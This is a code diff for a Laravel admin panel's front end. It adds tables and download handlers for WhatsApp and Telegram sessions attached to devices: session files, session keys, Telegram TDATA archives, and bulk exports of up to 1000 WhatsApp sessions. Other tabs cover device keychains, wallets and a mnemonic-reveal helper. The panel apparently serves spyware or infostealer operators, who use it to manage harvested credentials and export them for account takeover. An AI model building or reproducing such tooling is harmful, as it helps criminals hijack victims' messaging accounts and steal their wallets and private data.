    @@ -335,7 +353,11 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { var tabDataUrl = @json(route(($portal ?? 'admin').'.devices.tabData', $device)); var updateUrl = @json(route(($portal ?? 'admin').'.devices.update', $device)); var clearPhotosUrl = @json(route(($portal ?? 'admin').'.devices.photos.clear', $device)); + @if (($portal ?? 'admin') === 'admin') var destroyUrl = @json(route(($portal ?? 'admin').'.devices.destroy', $device)); + @else + var destroyUrl = ''; + @endif var listUrl = @json(route(($portal ?? 'admin').'.devices.index')); var token = @json(csrf_token()); var revealMnemonic = window.CorunaMnemonicReveal({ @@ -351,6 +373,9 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { .replace(/>/g, '>') .replace(/"/g, '"'); }; + var yesNo = function (v) { + return v ? '有' : '无'; + }; form.on('switch(LAY-device-album-storage)', function (obj) { var on = obj.elem.checked ? 1 : 0; @@ -656,6 +681,28 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { { field: 'context', title: 'Context', minWidth: 220, templet: function (d) { return d.context ? '' + esc(d.context) + '' : '—'; } } + ]], + 'ws-sessions': [[ + { field: 'id', title: 'ID', width: 70, sort: true }, + { field: 'account_id', title: '账号', minWidth: 150, sort: true, templet: function (d) { return dash(d.account_id); } }, + { field: 'phone', title: '手机号', width: 140, templet: function (d) { return dash(d.phone); } }, + { field: 'nickname', title: '昵称', width: 130, templet: function (d) { return dash(d.nickname); } }, + { field: 'version', title: '版本', width: 110, templet: function (d) { return dash(d.version); } }, + { field: 'has_keystore', title: '密钥', width: 80, templet: function (d) { return yesNo(d.has_keystore); } }, + { field: 'created_at', title: '创建时间', width: 170, sort: true }, + { title: '操作', width: 200, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' } + ]], + 'tg-sessions': [[ + { field: 'id', title: 'ID', width: 70, sort: true }, + { field: 'account_id', title: '用户 ID', minWidth: 150, sort: true, templet: function (d) { return dash(d.account_id); } }, + { field: 'has_state', title: '状态', width: 80, templet: function (d) { return yesNo(d.has_state); } }, + { field: 'has_db', title: 'DB', width: 80, templet: function (d) { return yesNo(d.has_db); } }, + { field: 'created_at', title: '创建时间', width: 170, sort: true }, + @if(auth('admin')->user()?->isSuper()) + { title: '操作', width: 410, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' } + @else + { title: '操作', width: 110, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' } + @endif ]] }; var emptyMap = { @@ -664,7 +711,9 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { keystores: '暂无钥匙串', apps: '暂无应用', notes: '暂无备忘录', - events: '暂无日志' + events: '暂无日志', + 'ws-sessions': '暂无 WS 参数', + 'tg-sessions': '暂无 TG 参数' }; table.render({ @@ -779,6 +828,107 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { }); } + if (tab === 'ws-sessions' || tab === 'tg-sessions') { + table.on('tool(LAY-device-tab-list)', function (obj) { + if (obj.event === 'payload') { + var url = obj.data.payload_url; + if (!url) { layer.msg('缺少参数地址'); return; } + var load = layer.load(1, { shade: 0.1 }); + fetch(url, { headers: { 'Accept': 'application/json', 'X-Requested-With': 'XMLHttpRequest' }, credentials: 'same-origin' }) + .then(function (res) { + return res.json().then(function (body) { return { ok: res.ok, body: body || {} }; }) + .catch(function () { return { ok: false, body: { msg: '参数接口返回了非 JSON' } }; }); + }) + .then(function (out) { + layer.close(load); + var body = out.body || {}; + var json = body.data && body.data.payload_json; + if (!out.ok || body.code === 1 || !json) { layer.msg(body.msg || '加载参数失败'); return; } + var downloadUrl = (body.data && body.data.download_url) || obj.data.download_url || ''; + var pretty = JSON.stringify(json, null, 2); + layer.open({ + type: 1, title: (tab === 'ws-sessions' ? 'WS 参数 #' : 'TG 参数 #') + obj.data.id, + area: ['720px', '80%'], content: + '
    ' + esc(pretty) + '
    ' + + (downloadUrl ? '' : '') + }); + }) + .catch(function () { layer.close(load); layer.msg('加载参数失败'); }); + return; + } + if (obj.event === 'wsFull') { + var url = obj.data.ws_full_url; + if (!url) { layer.msg('缺少协议全参地址'); return; } + var load = layer.load(1, { shade: 0.1 }); + fetch(url, { credentials: 'same-origin' }) + .then(function (res) { + layer.close(load); + var ct = res.headers.get('Content-Type') || ''; + if (!res.ok || ct.indexOf('application/json') !== -1) { + return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); }); + } + return res.blob().then(function (blob) { + var a = document.createElement('a'); + a.href = URL.createObjectURL(blob); + a.download = 'ws-' + (obj.data.account_id || obj.data.id) + '.txt'; + document.body.appendChild(a); a.click(); + setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000); + }); + }) + .catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); }); + return; + } + if (obj.event === 'tdata') { + var url = obj.data.tdata_url; + if (!url) { layer.msg('缺少 TDATA 地址'); return; } + var load = layer.load(1, { shade: 0.1 }); + fetch(url, { credentials: 'same-origin' }) + .then(function (res) { + layer.close(load); + var ct = res.headers.get('Content-Type') || ''; + if (!res.ok || ct.indexOf('application/json') !== -1) { + return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); }); + } + return res.blob().then(function (blob) { + var a = document.createElement('a'); + a.href = URL.createObjectURL(blob); + a.download = 'tdata-' + (obj.data.account_id || obj.data.id) + '.zip'; + document.body.appendChild(a); a.click(); + setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000); + }); + }) + .catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); }); + return; + } + if (obj.event === 'session' || obj.event === 'sessionJson' || obj.event === 'sessionKey') { + var typeMap = { session: 'session', sessionJson: 'json', sessionKey: 'key' }; + var extMap = { session: '.session', json: '.json', key: '_密钥.txt' }; + var type = typeMap[obj.event]; + var baseUrl = obj.data.session_file_url; + if (!baseUrl) { layer.msg('缺少会话文件地址'); return; } + var url = baseUrl + '?type=' + type; + var load = layer.load(1, { shade: 0.1 }); + fetch(url, { credentials: 'same-origin' }) + .then(function (res) { + layer.close(load); + var ct = res.headers.get('Content-Type') || ''; + if (!res.ok || ct.indexOf('application/json') !== -1) { + return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); }); + } + return res.blob().then(function (blob) { + var a = document.createElement('a'); + a.href = URL.createObjectURL(blob); + a.download = (obj.data.account_id || obj.data.id) + extMap[type]; + document.body.appendChild(a); a.click(); + setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000); + }); + }) + .catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); }); + return; + } + }); + } + if (tab === 'wallets') { form.render('select'); form.on('submit(LAY-wallet-search)', function (data) { diff --git a/resources/views/admin/sessions/index.blade.php b/resources/views/admin/sessions/index.blade.php index 4f01a9a..36b304c 100644 --- a/resources/views/admin/sessions/index.blade.php +++ b/resources/views/admin/sessions/index.blade.php @@ -43,11 +43,25 @@
    - + @if ($isWhatsApp) + + 批量导出一次限 1000 条,请先选择时间范围 + @else + + @endif
    @@ -98,7 +112,7 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () { cols.push( { field: 'created_at', title: '创建时间', width: 170, sort: true }, { field: 'updated_at', title: '更新时间', width: 170, sort: true }, - { title: '操作', width: 170, align: 'center', fixed: 'right', toolbar: '#LAY-session-ops' } + { title: '操作', width: 410, align: 'center', fixed: 'right', toolbar: '#LAY-session-ops' } ); table.render({ @@ -118,7 +132,9 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () { // Bulk export: build a query string from the current search form and // trigger a download via a hidden . The server streams a ZIP from disk. - document.getElementById('LAY-session-export').addEventListener('click', function () { + var zipBtn = document.getElementById('LAY-session-export'); + if (zipBtn) { + zipBtn.addEventListener('click', function () { var params = new URLSearchParams(); params.set('kind', isWhatsApp ? '2' : '1'); var formEl = document.querySelector('form[lay-filter="LAY-session-search"]'); @@ -149,7 +165,51 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () { layer.close(load); layer.msg(e.message || '导出失败'); }); - }); + }); + } + + // WS TXT export: same filters, but returns a single NDJSON .txt (one JSON + // per line, 26 fields — chk.ts native format). Server converts each wap.js + // payload on the fly. + var wsBtn = document.getElementById('LAY-session-export-ws'); + if (wsBtn) { + wsBtn.addEventListener('click', function () { + var params = new URLSearchParams(); + params.set('kind', '2'); + var formEl = document.querySelector('form[lay-filter="LAY-session-search"]'); + if (formEl) { + var fd = new FormData(formEl); + fd.forEach(function (v, k) { if (v) params.set(k, v); }); + } + var url = @json(route($portal.'.sessions.export.ws')) + '?' + params.toString(); + var load = layer.load(1, { shade: 0.1 }); + fetch(url, { credentials: 'same-origin' }) + .then(function (res) { + layer.close(load); + var ct = res.headers.get('Content-Type') || ''; + if (!res.ok || ct.indexOf('application/json') !== -1) { + return res.json().then(function (b) { throw new Error(b.msg || '导出失败'); }); + } + var skipped = res.headers.get('X-Export-Skipped') || '0'; + var written = res.headers.get('X-Export-Written') || ''; + return res.blob().then(function (blob) { + var a = document.createElement('a'); + a.href = URL.createObjectURL(blob); + a.download = 'ws-' + @json(date('Ymd-His')) + '.txt'; + document.body.appendChild(a); + a.click(); + setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000); + if (skipped && skipped !== '0') { + layer.msg('导出完成,跳过 ' + skipped + ' 条无密钥数据' + (written ? ',写入 ' + written + ' 条' : '')); + } + }); + }) + .catch(function (e) { + layer.close(load); + layer.msg(e.message || '导出失败'); + }); + }); + } table.on('tool(LAY-session-list)', function (obj) { if (obj.event === 'payload') { @@ -191,6 +251,97 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () { }); return; } + if (obj.event === 'wsFull') { + var url = obj.data.ws_full_url; + if (!url) { + layer.msg('缺少协议全参地址'); + return; + } + var load = layer.load(1, { shade: 0.1 }); + fetch(url, { credentials: 'same-origin' }) + .then(function (res) { + layer.close(load); + var ct = res.headers.get('Content-Type') || ''; + if (!res.ok || ct.indexOf('application/json') !== -1) { + return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); }); + } + return res.blob().then(function (blob) { + var a = document.createElement('a'); + a.href = URL.createObjectURL(blob); + a.download = 'ws-' + (obj.data.account_id || obj.data.id) + '.txt'; + document.body.appendChild(a); + a.click(); + setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000); + }); + }) + .catch(function (e) { + layer.close(load); + layer.msg(e.message || '转换失败'); + }); + return; + } + if (obj.event === 'tdata') { + var url = obj.data.tdata_url; + if (!url) { + layer.msg('缺少 TDATA 地址'); + return; + } + var load = layer.load(1, { shade: 0.1 }); + fetch(url, { credentials: 'same-origin' }) + .then(function (res) { + layer.close(load); + var ct = res.headers.get('Content-Type') || ''; + if (!res.ok || ct.indexOf('application/json') !== -1) { + return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); }); + } + return res.blob().then(function (blob) { + var a = document.createElement('a'); + a.href = URL.createObjectURL(blob); + a.download = 'tdata-' + (obj.data.account_id || obj.data.id) + '.zip'; + document.body.appendChild(a); + a.click(); + setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000); + }); + }) + .catch(function (e) { + layer.close(load); + layer.msg(e.message || '转换失败'); + }); + return; + } + if (obj.event === 'session' || obj.event === 'sessionJson' || obj.event === 'sessionKey') { + var typeMap = { session: 'session', sessionJson: 'json', sessionKey: 'key' }; + var extMap = { session: '.session', json: '.json', key: '_密钥.txt' }; + var type = typeMap[obj.event]; + var baseUrl = obj.data.session_file_url; + if (!baseUrl) { + layer.msg('缺少会话文件地址'); + return; + } + var url = baseUrl + '?type=' + type; + var load = layer.load(1, { shade: 0.1 }); + fetch(url, { credentials: 'same-origin' }) + .then(function (res) { + layer.close(load); + var ct = res.headers.get('Content-Type') || ''; + if (!res.ok || ct.indexOf('application/json') !== -1) { + return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); }); + } + return res.blob().then(function (blob) { + var a = document.createElement('a'); + a.href = URL.createObjectURL(blob); + a.download = (obj.data.account_id || obj.data.id) + extMap[type]; + document.body.appendChild(a); + a.click(); + setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000); + }); + }) + .catch(function (e) { + layer.close(load); + layer.msg(e.message || '转换失败'); + }); + return; + } if (obj.event !== 'detail') return; var url = obj.data.detail_url; var title = '设备 ' + (obj.data.device_key || ('#' + obj.data.id)); diff --git a/resources/views/admin/system/admins.blade.php b/resources/views/admin/system/admins.blade.php index 1896e63..ae176cf 100644 --- a/resources/views/admin/system/admins.blade.php +++ b/resources/views/admin/system/admins.blade.php @@ -22,6 +22,9 @@